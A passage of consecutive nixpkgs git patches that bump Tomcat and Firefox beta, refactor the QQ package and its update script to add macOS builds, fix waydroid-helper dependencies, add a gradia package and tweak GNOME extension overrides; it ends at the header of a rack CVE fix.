--- a/pkgs/desktops/gnome/extensions/extensionOverrides.nix
+++ b/pkgs/desktops/gnome/extensions/extensionOverrides.nix
@@ -216,4 +216,18 @@ lib.trivial.pipe super [
         --replace "GLib.build_filenamev([GLib.DIR_SEPARATOR_S, 'usr', 'share', 'touchegg', 'touchegg.conf'])" "'${touchegg}/share/touchegg/touchegg.conf'"
     '';
   }))
+
+  (patchExtension "pwcalc@thilomaurer.de" {
+    postPatch = ''
+      # remove unused dangling symlink
+      rm settings-importexport.ui
+    '';
+  })
+
+  (patchExtension "TeaTimer@zener.sbg.at" {
+    postPatch = ''
+      # remove unused dangling symlink
+      rm utilities-teatime.svg
+    '';
+  })
 ]

From d737d2da9cf57aa89d56d3f4d03a546be3676c1e Mon Sep 17 00:00:00 2001
From: Honnip <me@honnip.page>
Date: Sun, 8 Jun 2025 12:40:18 +0900
Subject: [PATCH 1350/4511] gnomeExtensions.gtk4-desktop-icons-ng-ding: update
 patch

(cherry picked from commit 547ccb4e988d35e696ecdbb5281f284348b2e3fd)
---
 .../gnome/extensions/extensionOverrides.nix   |  1 -
 .../gtk4-ding_at_smedius.gitlab.com.patch     | 22 -------------------
 2 files changed, 23 deletions(-)

diff --git a/pkgs/desktops/gnome/extensions/extensionOverrides.nix b/pkgs/desktops/gnome/extensions/extensionOverrides.nix
index 1045d8f7f266..c3ebb90d377f 100644
--- a/pkgs/desktops/gnome/extensions/extensionOverrides.nix
+++ b/pkgs/desktops/gnome/extensions/extensionOverrides.nix
@@ -142,7 +142,6 @@ lib.trivial.pipe super [
         xdg_utils = xdg-utils;
         gtk_update_icon_cache = "${gtk4.out}/bin/gtk4-update-icon-cache";
         update_desktop_database = "${desktop-file-utils.out}/bin/update-desktop-database";
-        xdg_user_dirs = lib.getExe xdg-user-dirs;
         nautilus_gsettings_path = glib.getSchemaPath nautilus;
       })
     ];
diff --git a/pkgs/desktops/gnome/extensions/extensionOverridesPatches/gtk4-ding_at_smedius.gitlab.com.patch b/pkgs/desktops/gnome/extensions/extensionOverridesPatches/gtk4-ding_at_smedius.gitlab.com.patch
index 315c3e87d74d..7de9259d30dd 100644
--- a/pkgs/desktops/gnome/extensions/extensionOverridesPatches/gtk4-ding_at_smedius.gitlab.com.patch
+++ b/pkgs/desktops/gnome/extensions/extensionOverridesPatches/gtk4-ding_at_smedius.gitlab.com.patch
@@ -26,28 +26,6 @@ index 42cb878c..929ddce2 100755
                      `${GLib.path_get_dirname(appDesktopFile)}`
                  );
  
-diff --git a/app/adwPreferencesWindow.js b/app/adwPreferencesWindow.js
-index 93d53554..8f5bb8fe 100644
---- a/app/adwPreferencesWindow.js
-+++ b/app/adwPreferencesWindow.js
-@@ -540,7 +540,7 @@ const AdwPreferencesWindow = class {
-     }
- 
-     setDesktopFolder(path) {
--        const command = 'xdg-user-dirs-update --set DESKTOP';
-+        const command = '@xdg_user_dirs@/bin/xdg-user-dirs-update --set DESKTOP';
- 
-         try {
-             GLib.spawn_command_line_async(
-@@ -564,7 +564,7 @@ const AdwPreferencesWindow = class {
-     }
- 
-     getCurrentDesktopFolder() {
--        const command = 'xdg-user-dir DESKTOP';
-+        const command = '@xdg_user_dirs@/bin/xdg-user-dir DESKTOP';
-         const decoder = new TextDecoder();
-         const [, out,, status] = GLib.spawn_command_line_sync(command);
- 
 diff --git a/app/enums.js b/app/enums.js
 index 5434fa7a..e36d3670 100644
 --- a/app/enums.js

From 6d0fd049f24d9b9f7f605a84dc2973a74ca14664 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 14 Jun 2025 22:46:13 +0000
Subject: [PATCH 1351/4511] tomcat: 11.0.7 -> 11.0.8

(cherry picked from commit 77cf08ad3effaef954da47f0aca5291cf6d111ff)
---
 pkgs/servers/http/tomcat/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/tomcat/default.nix b/pkgs/servers/http/tomcat/default.nix
index 372301f863bd..d16f59b470c6 100644
--- a/pkgs/servers/http/tomcat/default.nix
+++ b/pkgs/servers/http/tomcat/default.nix
@@ -70,7 +70,7 @@ in
   };
 
   tomcat11 = common {
-    version = "11.0.7";
-    hash = "sha256-L87OZBxiuh8o4deyV0kxUfxE8WH7ORAV7mqV+nFjL7k=";
+    version = "11.0.8";
+    hash = "sha256-BGT3ORiCetG5hdhwpehW1ldfEJ0MrWEKSho9sPqadXI=";
   };
 }

From 92051d0a877de427c07503215f0dab425dff28c6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 17 Jun 2025 07:54:11 +0000
Subject: [PATCH 1352/4511] tomcat10: 10.1.41 -> 10.1.42

(cherry picked from commit d309d42fd5e475155ea8664691b4055a2537ca60)
---
 pkgs/servers/http/tomcat/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/tomcat/default.nix b/pkgs/servers/http/tomcat/default.nix
index 372301f863bd..24ccc4f31272 100644
--- a/pkgs/servers/http/tomcat/default.nix
+++ b/pkgs/servers/http/tomcat/default.nix
@@ -65,8 +65,8 @@ in
   };
 
   tomcat10 = common {
-    version = "10.1.41";
-    hash = "sha256-H3zIzOLV9KzTVJHQ+iq6+m3dm7BCW1eydzEP3l/y/LM=";
+    version = "10.1.42";
+    hash = "sha256-m29iOmn6DMhQElyJVXPuZX9+5WYIl2uiapZEsF5J/ac=";
   };
 
   tomcat11 = common {

From eb5f7fc44a78d8588120ebfefcdf1378692a69ee Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Tue, 17 Jun 2025 18:17:35 +0800
Subject: [PATCH 1353/4511] qq: add prince213 to maintainers

(cherry picked from commit 2e92942bd137f5a1811fef64a1094bfa59ca98b4)
---
 pkgs/by-name/qq/qq/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/qq/qq/package.nix b/pkgs/by-name/qq/qq/package.nix
index b5cf57432e8b..715aba6b6668 100644
--- a/pkgs/by-name/qq/qq/package.nix
+++ b/pkgs/by-name/qq/qq/package.nix
@@ -128,8 +128,9 @@ stdenv.mkDerivation {
     license = lib.licenses.unfree;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
     maintainers = with lib.maintainers; [
-      fee1-dead
       bot-wxt1221
+      fee1-dead
+      prince213
     ];
   };
 }

From 2f2bd5afe2a3ae6097ae44eeb723843f17ff6403 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 15 Jun 2025 21:42:24 +0000
Subject: [PATCH 1354/4511] tomcat9: 9.0.105 -> 9.0.106

(cherry picked from commit b21c1375488d1147a19b58b69a4ab52eb7b7a1d2)
---
 pkgs/servers/http/tomcat/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/tomcat/default.nix b/pkgs/servers/http/tomcat/default.nix
index 372301f863bd..842ef1e8d282 100644
--- a/pkgs/servers/http/tomcat/default.nix
+++ b/pkgs/servers/http/tomcat/default.nix
@@ -60,8 +60,8 @@ let
 in
 {
   tomcat9 = common {
-    version = "9.0.105";
-    hash = "sha256-7obuF5ST5hA1iyOg95unC552recRV6ramsfNzc2+NfU=";
+    version = "9.0.106";
+    hash = "sha256-EBMxGWDLyIvm2H75RsaF4WBSoNnRp24109GsQZG44n0=";
   };
 
   tomcat10 = common {

From 7e8fd3d7a46637309b1d44bff5463cb99d747860 Mon Sep 17 00:00:00 2001
From: Tawsif Hossain Shafi <thshafi170@gmail.com>
Date: Sat, 21 Jun 2025 19:17:31 +0600
Subject: [PATCH 1355/4511] waydroid-helper: fix dependencies and `WrapperArgs`
 issues (#412027)

Co-authored-by: Aleksana <alexander.huang.y@gmail.com>
Co-authored-by: Shafa'el Zmeyev <shafael170@gmail.com>
(cherry picked from commit b6cd58e69d0571d6574f28acf8ceed03c90ac985)
---
 pkgs/by-name/wa/waydroid-helper/package.nix | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/wa/waydroid-helper/package.nix b/pkgs/by-name/wa/waydroid-helper/package.nix
index 6f7e609321a3..42dd8bda565a 100644
--- a/pkgs/by-name/wa/waydroid-helper/package.nix
+++ b/pkgs/by-name/wa/waydroid-helper/package.nix
@@ -16,6 +16,7 @@
   dbus,
   systemd,
   bash,
+  fakeroot,
   gobject-introspection,
 }:
 
@@ -41,8 +42,6 @@ python3Packages.buildPythonApplication rec {
     # com.jaoushingan.WaydroidHelper.desktop: component-name-missing, description-first-para-too-short
     # url-homepage-missing, desktop-app-launchable-omitted, content-rating-missing, developer-info-missing
     sed -i '/test(/{N;/Validate appstream file/!b;:a;N;/)/!ba;d}' data/meson.build
-    substituteInPlace waydroid_helper/waydroid-cli.in \
-      --replace-fail "/bin/bash" "${bash}/bin/bash"
   '';
 
   nativeBuildInputs = [
@@ -61,6 +60,7 @@ python3Packages.buildPythonApplication rec {
     libxml2
     libadwaita
     dbus
+    bash
     systemd
   ];
 
@@ -78,7 +78,10 @@ python3Packages.buildPythonApplication rec {
 
   dontWrapGApps = true;
 
-  makeWrapperArgs = [ "\${gappsWrapperArgs[@]}" ];
+  makeWrapperArgs = [
+    "\${gappsWrapperArgs[@]}"
+    "--prefix PATH : ${lib.makeBinPath [ fakeroot ]}"
+  ];
 
   postInstallCheck = ''
     mesonCheckPhase

From 1fdb7b8f3eeb815b172860f112bbbc6a24f82c5f Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Tue, 17 Jun 2025 18:31:32 +0800
Subject: [PATCH 1356/4511] qq: refactor update script

(cherry picked from commit 0119a82552b1236b85ee84ede2f85c6ed68898b6)
---
 pkgs/by-name/qq/qq/package.nix | 20 +++++------------
 pkgs/by-name/qq/qq/sources.nix | 20 ++++++++++++-----
 pkgs/by-name/qq/qq/update.sh   | 39 ++++++++++++++++++++++------------
 3 files changed, 46 insertions(+), 33 deletions(-)

diff --git a/pkgs/by-name/qq/qq/package.nix b/pkgs/by-name/qq/qq/package.nix
index 715aba6b6668..9728db8584d3 100644
--- a/pkgs/by-name/qq/qq/package.nix
+++ b/pkgs/by-name/qq/qq/package.nix
@@ -29,24 +29,14 @@
 }:
 
 let
-  sources = import ./sources.nix;
-  srcs = {
-    x86_64-linux = fetchurl {
-      url = sources.amd64_url;
-      hash = sources.amd64_hash;
-    };
-    aarch64-linux = fetchurl {
-      url = sources.arm64_url;
-      hash = sources.arm64_hash;
-    };
-  };
-  src =
-    srcs.${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
+  sources = import ./sources.nix { inherit fetchurl; };
+  source =
+    sources.${stdenv.hostPlatform.system}
+      or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
 in
 stdenv.mkDerivation {
   pname = "qq";
-  version = sources.version;
-  inherit src;
+  inherit (source) version src;
 
   nativeBuildInputs = [
     autoPatchelfHook
diff --git a/pkgs/by-name/qq/qq/sources.nix b/pkgs/by-name/qq/qq/sources.nix
index 56f4838b4faa..83fc711d2d2d 100644
--- a/pkgs/by-name/qq/qq/sources.nix
+++ b/pkgs/by-name/qq/qq/sources.nix
@@ -1,9 +1,19 @@
 # Generated by ./update.sh - do not update manually!
 # Last updated: 2025-05-03
+{ fetchurl }:
 {
-  version = "3.2.17-2025.4.29";
-  amd64_url = "https://dldir1.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.17_250429_amd64_01.deb";
-  arm64_url = "https://dldir1.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.17_250429_arm64_01.deb";
-  arm64_hash = "sha256-BxyJ9NNdMck3qk8wzCd07x/W9QlTMemHi3l0TIQ04ZY=";
-  amd64_hash = "sha256-DDqLHl8Ig7miZTheRltBq+riLXyGGnW8NtcOI0PgKtc=";
+  aarch64-linux = {
+    version = "3.2.17-2025.4.29";
+    src = fetchurl {
+      url = "https://dldir1.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.17_250429_arm64_01.deb";
+      hash = "sha256-BxyJ9NNdMck3qk8wzCd07x/W9QlTMemHi3l0TIQ04ZY=";
+    };
+  };
+  x86_64-linux = {
+    version = "3.2.17-2025.4.29";
+    src = fetchurl {
+      url = "https://dldir1.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.17_250429_amd64_01.deb";
+      hash = "sha256-DDqLHl8Ig7miZTheRltBq+riLXyGGnW8NtcOI0PgKtc=";
+    };
+  };
 }
diff --git a/pkgs/by-name/qq/qq/update.sh b/pkgs/by-name/qq/qq/update.sh
index 0784b89dc622..12304716f632 100755
--- a/pkgs/by-name/qq/qq/update.sh
+++ b/pkgs/by-name/qq/qq/update.sh
@@ -5,27 +5,40 @@ set -euo pipefail
 
 cd $(readlink -e $(dirname "${BASH_SOURCE[0]}"))
 
-payload=$(curl https://im.qq.com/rainbow/linuxQQDownload | grep -oP "var params= \K\{.*\}(?=;)")
-amd64_url=$(jq -r .x64DownloadUrl.deb <<< "$payload")
-arm64_url=$(jq -r .armDownloadUrl.deb <<< "$payload")
+# linux
 
-version=$(jq -r .version <<< "$payload")-$(jq -r .updateDate <<< "$payload")
+linux_url=$(curl -s https://im.qq.com/linuxqq/index.shtml | grep -oP 'var rainbowConfigUrl = "\K.*(?=";)')
+linux_payload=$(curl "$linux_url" | grep -oP "var params= \K\{.*\}(?=;)")
+linux_version=$(jq -r .version <<< "$linux_payload")-$(jq -r .updateDate <<< "$linux_payload")
 
-amd64_hash=$(nix-prefetch-url $amd64_url)
-arm64_hash=$(nix-prefetch-url $arm64_url)
+linux_aarch64_url=$(jq -r .armDownloadUrl.deb <<< "$linux_payload")
+linux_x86_64_url=$(jq -r .x64DownloadUrl.deb <<< "$linux_payload")
+
+linux_aarch64_hash=$(nix-prefetch-url $linux_aarch64_url)
+linux_x86_64_hash=$(nix-prefetch-url $linux_x86_64_url)
 
 # use friendlier hashes
-amd64_hash=$(nix hash convert --to sri --hash-algo sha256 "$amd64_hash")
-arm64_hash=$(nix hash convert --to sri --hash-algo sha256 "$arm64_hash")
+linux_aarch64_hash=$(nix hash convert --to sri --hash-algo sha256 "$linux_aarch64_hash")
+linux_x86_64_hash=$(nix hash convert --to sri --hash-algo sha256 "$linux_x86_64_hash")
 
 cat >sources.nix <<EOF
 # Generated by ./update.sh - do not update manually!
 # Last updated: $(date +%F)
+{ fetchurl }:
 {
-  version = "$version";
-  amd64_url = "$amd64_url";
-  arm64_url = "$arm64_url";
-  arm64_hash = "$arm64_hash";
-  amd64_hash = "$amd64_hash";
+  aarch64-linux = {
+    version = "$linux_version";
+    src = fetchurl {
+      url = "$linux_aarch64_url";
+      hash = "$linux_aarch64_hash";
+    };
+  };
+  x86_64-linux = {
+    version = "$linux_version";
+    src = fetchurl {
+      url = "$linux_x86_64_url";
+      hash = "$linux_x86_64_hash";
+    };
+  };
 }
 EOF

From a6d8356349f8257a93ee27807ce3099004c31d6b Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Tue, 17 Jun 2025 18:34:37 +0800
Subject: [PATCH 1357/4511] qq: 3.2.17-2025.5.21 -> 3.2.18-2025.6.16

(cherry picked from commit 27369153703c55794164226e3f33af05e1e294ca)
---
 pkgs/by-name/qq/qq/sources.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/qq/qq/sources.nix b/pkgs/by-name/qq/qq/sources.nix
index 83fc711d2d2d..43684d278684 100644
--- a/pkgs/by-name/qq/qq/sources.nix
+++ b/pkgs/by-name/qq/qq/sources.nix
@@ -1,19 +1,19 @@
 # Generated by ./update.sh - do not update manually!
-# Last updated: 2025-05-03
+# Last updated: 2025-06-17
 { fetchurl }:
 {
   aarch64-linux = {
-    version = "3.2.17-2025.4.29";
+    version = "3.2.18-2025.6.16";
     src = fetchurl {
-      url = "https://dldir1.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.17_250429_arm64_01.deb";
-      hash = "sha256-BxyJ9NNdMck3qk8wzCd07x/W9QlTMemHi3l0TIQ04ZY=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250616_arm64_01.deb";
+      hash = "sha256-wwZC+hyyrmmjhlk4hdJTnf5WkRxjit6smUmD4jPKbM0=";
     };
   };
   x86_64-linux = {
-    version = "3.2.17-2025.4.29";
+    version = "3.2.18-2025.6.16";
     src = fetchurl {
-      url = "https://dldir1.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.17_250429_amd64_01.deb";
-      hash = "sha256-DDqLHl8Ig7miZTheRltBq+riLXyGGnW8NtcOI0PgKtc=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250616_amd64_01.deb";
+      hash = "sha256-7/c1PwlcWogXO229e7f1gYWktCT+hpyQI1+22TkvzLQ=";
     };
   };
 }

From 2938fb62c3bc3fb623c4cc0484279b7d9236e86c Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Tue, 17 Jun 2025 18:53:53 +0800
Subject: [PATCH 1358/4511] qq: init darwin at 6.9.75-2025.6.16

(cherry picked from commit 78d1e97dc817ed9240150ba0a839de221bbd6953)
---
 pkgs/by-name/qq/qq/package.nix | 185 +++++++++++++++++++--------------
 pkgs/by-name/qq/qq/sources.nix |  11 ++
 pkgs/by-name/qq/qq/update.sh   |  24 +++++
 3 files changed, 144 insertions(+), 76 deletions(-)

diff --git a/pkgs/by-name/qq/qq/package.nix b/pkgs/by-name/qq/qq/package.nix
index 9728db8584d3..fb48240150e5 100644
--- a/pkgs/by-name/qq/qq/package.nix
+++ b/pkgs/by-name/qq/qq/package.nix
@@ -20,6 +20,7 @@
   xorg,
   systemd,
   stdenv,
+  undmg,
   vips,
   at-spi2-core,
   autoPatchelfHook,
@@ -33,87 +34,19 @@ let
   source =
     sources.${stdenv.hostPlatform.system}
       or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
-in
-stdenv.mkDerivation {
   pname = "qq";
   inherit (source) version src;
-
-  nativeBuildInputs = [
-    autoPatchelfHook
-    makeShellWrapper
-    wrapGAppsHook3
-    dpkg
-  ];
-
-  buildInputs = [
-    alsa-lib
-    at-spi2-core
-    cups
-    glib
-    gtk3
-    libdrm
-    libpulseaudio
-    libgcrypt
-    libkrb5
-    libgbm
-    nss
-    vips
-    xorg.libXdamage
-  ];
-
-  dontWrapGApps = true;
-
-  runtimeDependencies = map lib.getLib [
-    systemd
-    libkrb5
-  ];
-
-  installPhase = ''
-    runHook preInstall
-
-    mkdir -p $out/bin
-    cp -r opt $out/opt
-    cp -r usr/share $out/share
-    substituteInPlace $out/share/applications/qq.desktop \
-      --replace-fail "/opt/QQ/qq" "$out/bin/qq" \
-      --replace-fail "/usr/share" "$out/share"
-    makeShellWrapper $out/opt/QQ/qq $out/bin/qq \
-      --prefix XDG_DATA_DIRS : "$GSETTINGS_SCHEMAS_PATH" \
-      --prefix LD_PRELOAD : "${lib.makeLibraryPath [ libssh2 ]}/libssh2.so.1" \
-      --prefix LD_LIBRARY_PATH : "${
-        lib.makeLibraryPath [
-          libGL
-          libuuid
-        ]
-      }" \
-      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
-      --add-flags ${lib.escapeShellArg commandLineArgs} \
-      "''${gappsWrapperArgs[@]}"
-
-    # Remove bundled libraries
-    rm -r $out/opt/QQ/resources/app/sharp-lib
-
-    # https://aur.archlinux.org/cgit/aur.git/commit/?h=linuxqq&id=f7644776ee62fa20e5eb30d0b1ba832513c77793
-    rm -r $out/opt/QQ/resources/app/libssh2.so.1
-
-    # https://github.com/microcai/gentoo-zh/commit/06ad5e702327adfe5604c276635ae8a373f7d29e
-    ln -s ${libayatana-appindicator}/lib/libayatana-appindicator3.so \
-      $out/opt/QQ/libappindicator3.so
-
-    ln -s ${libnotify}/lib/libnotify.so \
-      $out/opt/QQ/libnotify.so
-
-    runHook postInstall
-  '';
-
-  passthru.updateScript = ./update.sh;
-
+  passthru = {
+    updateScript = ./update.sh;
+  };
   meta = {
-    homepage = "https://im.qq.com/linuxqq/";
+    homepage = "https://im.qq.com/index/";
     description = "Messaging app";
     platforms = [
-      "x86_64-linux"
+      "aarch64-darwin"
       "aarch64-linux"
+      "x86_64-darwin"
+      "x86_64-linux"
     ];
     license = lib.licenses.unfree;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
@@ -123,4 +56,104 @@ stdenv.mkDerivation {
       prince213
     ];
   };
-}
+in
+if stdenv.hostPlatform.isDarwin then
+  stdenv.mkDerivation {
+    inherit
+      pname
+      version
+      src
+      passthru
+      meta
+      ;
+
+    nativeBuildInputs = [ undmg ];
+    sourceRoot = ".";
+
+    installPhase = ''
+      runHook preInstall
+
+      mkdir -p $out/Applications
+      cp -a QQ.app $out/Applications
+
+      runHook postInstall
+    '';
+  }
+else
+  stdenv.mkDerivation {
+    inherit
+      pname
+      version
+      src
+      passthru
+      meta
+      ;
+
+    nativeBuildInputs = [
+      autoPatchelfHook
+      makeShellWrapper
+      wrapGAppsHook3
+      dpkg
+    ];
+
+    buildInputs = [
+      alsa-lib
+      at-spi2-core
+      cups
+      glib
+      gtk3
+      libdrm
+      libpulseaudio
+      libgcrypt
+      libkrb5
+      libgbm
+      nss
+      vips
+      xorg.libXdamage
+    ];
+
+    dontWrapGApps = true;
+
+    runtimeDependencies = map lib.getLib [
+      systemd
+      libkrb5
+    ];
+
+    installPhase = ''
+      runHook preInstall
+
+      mkdir -p $out/bin
+      cp -r opt $out/opt
+      cp -r usr/share $out/share
+      substituteInPlace $out/share/applications/qq.desktop \
+        --replace-fail "/opt/QQ/qq" "$out/bin/qq" \
+        --replace-fail "/usr/share" "$out/share"
+      makeShellWrapper $out/opt/QQ/qq $out/bin/qq \
+        --prefix XDG_DATA_DIRS : "$GSETTINGS_SCHEMAS_PATH" \
+        --prefix LD_PRELOAD : "${lib.makeLibraryPath [ libssh2 ]}/libssh2.so.1" \
+        --prefix LD_LIBRARY_PATH : "${
+          lib.makeLibraryPath [
+            libGL
+            libuuid
+          ]
+        }" \
+        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+        --add-flags ${lib.escapeShellArg commandLineArgs} \
+        "''${gappsWrapperArgs[@]}"
+
+      # Remove bundled libraries
+      rm -r $out/opt/QQ/resources/app/sharp-lib
+
+      # https://aur.archlinux.org/cgit/aur.git/commit/?h=linuxqq&id=f7644776ee62fa20e5eb30d0b1ba832513c77793
+      rm -r $out/opt/QQ/resources/app/libssh2.so.1
+
+      # https://github.com/microcai/gentoo-zh/commit/06ad5e702327adfe5604c276635ae8a373f7d29e
+      ln -s ${libayatana-appindicator}/lib/libayatana-appindicator3.so \
+        $out/opt/QQ/libappindicator3.so
+
+      ln -s ${libnotify}/lib/libnotify.so \
+        $out/opt/QQ/libnotify.so
+
+      runHook postInstall
+    '';
+  }
diff --git a/pkgs/by-name/qq/qq/sources.nix b/pkgs/by-name/qq/qq/sources.nix
index 43684d278684..6b16cd97f70c 100644
--- a/pkgs/by-name/qq/qq/sources.nix
+++ b/pkgs/by-name/qq/qq/sources.nix
@@ -1,7 +1,18 @@
 # Generated by ./update.sh - do not update manually!
 # Last updated: 2025-06-17
 { fetchurl }:
+let
+  any-darwin = {
+    version = "6.9.75-2025.6.16";
+    src = fetchurl {
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Mac/QQ_6.9.75_250616_01.dmg";
+      hash = "sha256-MS2WGrAuBGlbzzxfUlcixoD1snchEaLu4Ecvt84Hdfo=";
+    };
+  };
+in
 {
+  aarch64-darwin = any-darwin;
+  x86_64-darwin = any-darwin;
   aarch64-linux = {
     version = "3.2.18-2025.6.16";
     src = fetchurl {
diff --git a/pkgs/by-name/qq/qq/update.sh b/pkgs/by-name/qq/qq/update.sh
index 12304716f632..e281dbf08b72 100755
--- a/pkgs/by-name/qq/qq/update.sh
+++ b/pkgs/by-name/qq/qq/update.sh
@@ -5,6 +5,19 @@ set -euo pipefail
 
 cd $(readlink -e $(dirname "${BASH_SOURCE[0]}"))
 
+# darwin
+
+darwin_url=$(curl -s https://im.qq.com/macqq/index.shtml | grep -oP 'var rainbowConfigUrl = "\K.*(?=";)')
+darwin_payload=$(curl "$darwin_url" | grep -oP "var params= \K\{.*\}(?=;)")
+darwin_version=$(jq -r .version <<< "$darwin_payload" | awk -F\  '{print $1}')-$(jq -r .updateDate <<< "$darwin_payload")
+
+darwin_url=$(jq -r .downloadUrl <<< "$darwin_payload")
+
+darwin_hash=$(nix-prefetch-url $darwin_url)
+
+# use friendlier hashes
+darwin_hash=$(nix hash convert --to sri --hash-algo sha256 "$darwin_hash")
+
 # linux
 
 linux_url=$(curl -s https://im.qq.com/linuxqq/index.shtml | grep -oP 'var rainbowConfigUrl = "\K.*(?=";)')
@@ -25,7 +38,18 @@ cat >sources.nix <<EOF
 # Generated by ./update.sh - do not update manually!
 # Last updated: $(date +%F)
 { fetchurl }:
+let
+  any-darwin = {
+    version = "$darwin_version";
+    src = fetchurl {
+      url = "$darwin_url";
+      hash = "$darwin_hash";
+    };
+  };
+in
 {
+  aarch64-darwin = any-darwin;
+  x86_64-darwin = any-darwin;
   aarch64-linux = {
     version = "$linux_version";
     src = fetchurl {

From 6ae1174415fbb4631df50f40b9eda2b3935b7c45 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 20 Jun 2025 19:19:44 +0000
Subject: [PATCH 1359/4511] firefox-beta-unwrapped: 140.0b7 -> 140.0b9

(cherry picked from commit ca370837a91fd9857ee95c83e0fb7b104859cea9)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index 67203bb29859..a77441834596 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "140.0b7";
+  version = "140.0b9";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "51a9dad564bc20aaacec5bc8cfe05f7213d6fbc826783790bcb1067cbea7349a88f479df70f73501357625c6a239d33a10a840e7287d077771dc08b0fd9b076b";
+    sha512 = "eb63be9dd42f5f777706c15a87e536769deb22658da6c35070962d98d03ec678409a1d09bf257c0421039cccdf7db892eb4c7aee610341a262ffae28b04b52b3";
   };
 
   meta = {

From b76246b324ba9ba039b8610566741121940b0adb Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Wed, 4 Jun 2025 20:39:46 +0200
Subject: [PATCH 1360/4511] gradia: init at 1.4.3

(cherry picked from commit ffbd6bdb409c07d222426ad3d756de2941e4acbd)
---
 pkgs/by-name/gr/gradia/package.nix | 63 ++++++++++++++++++++++++++++++
 1 file changed, 63 insertions(+)
 create mode 100644 pkgs/by-name/gr/gradia/package.nix

diff --git a/pkgs/by-name/gr/gradia/package.nix b/pkgs/by-name/gr/gradia/package.nix
new file mode 100644
index 000000000000..4b1bfb819231
--- /dev/null
+++ b/pkgs/by-name/gr/gradia/package.nix
@@ -0,0 +1,63 @@
+{
+  lib,
+  python3Packages,
+  fetchFromGitHub,
+  meson,
+  ninja,
+  appstream,
+  desktop-file-utils,
+  gobject-introspection,
+  wrapGAppsHook4,
+  blueprint-compiler,
+  libadwaita,
+  libportal-gtk4,
+}:
+python3Packages.buildPythonApplication rec {
+  pname = "gradia";
+  version = "1.4.3";
+  pyproject = false;
+
+  src = fetchFromGitHub {
+    owner = "AlexanderVanhee";
+    repo = "Gradia";
+    tag = "v${version}";
+    hash = "sha256-cH8aL1nvDNAnvN+TYAtGez5Ot5DmwpmxugBPS36rY+Q=";
+  };
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    appstream
+    desktop-file-utils
+    gobject-introspection
+    wrapGAppsHook4
+    blueprint-compiler
+  ];
+
+  buildInputs = [
+    libadwaita
+    libportal-gtk4
+  ];
+
+  dependencies = with python3Packages; [
+    pygobject3
+    pillow
+  ];
+
+  dontWrapGApps = true;
+
+  makeWrapperArgs = [ "\${gappsWrapperArgs[@]}" ];
+
+  meta = {
+    description = "Make your screenshots ready for the world";
+    homepage = "https://github.com/AlexanderVanhee/Gradia";
+    changelog = "https://github.com/AlexanderVanhee/Gradia/releases/tag/${src.tag}";
+    license = lib.licenses.gpl3Plus;
+    maintainers = with lib.maintainers; [
+      Cameo007
+      quadradical
+    ];
+    mainProgram = "gradia";
+    platforms = lib.platforms.linux;
+  };
+}

From 9145d0d4a6dec6ed196c171e2dc8f8bbecb5f5a3 Mon Sep 17 00:00:00 2001
From: h0nIg <h0nIg@users.noreply.github.com>
Date: Wed, 18 Jun 2025 17:50:26 +0200
Subject: [PATCH 1361/4511] rubyPackages.rack: CVE-2025-46727

(cherry picked from commit ae2f0cc3091ece719cf651cd0225442e10dac105)
---
 pkgs/top-level/ruby-packages.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

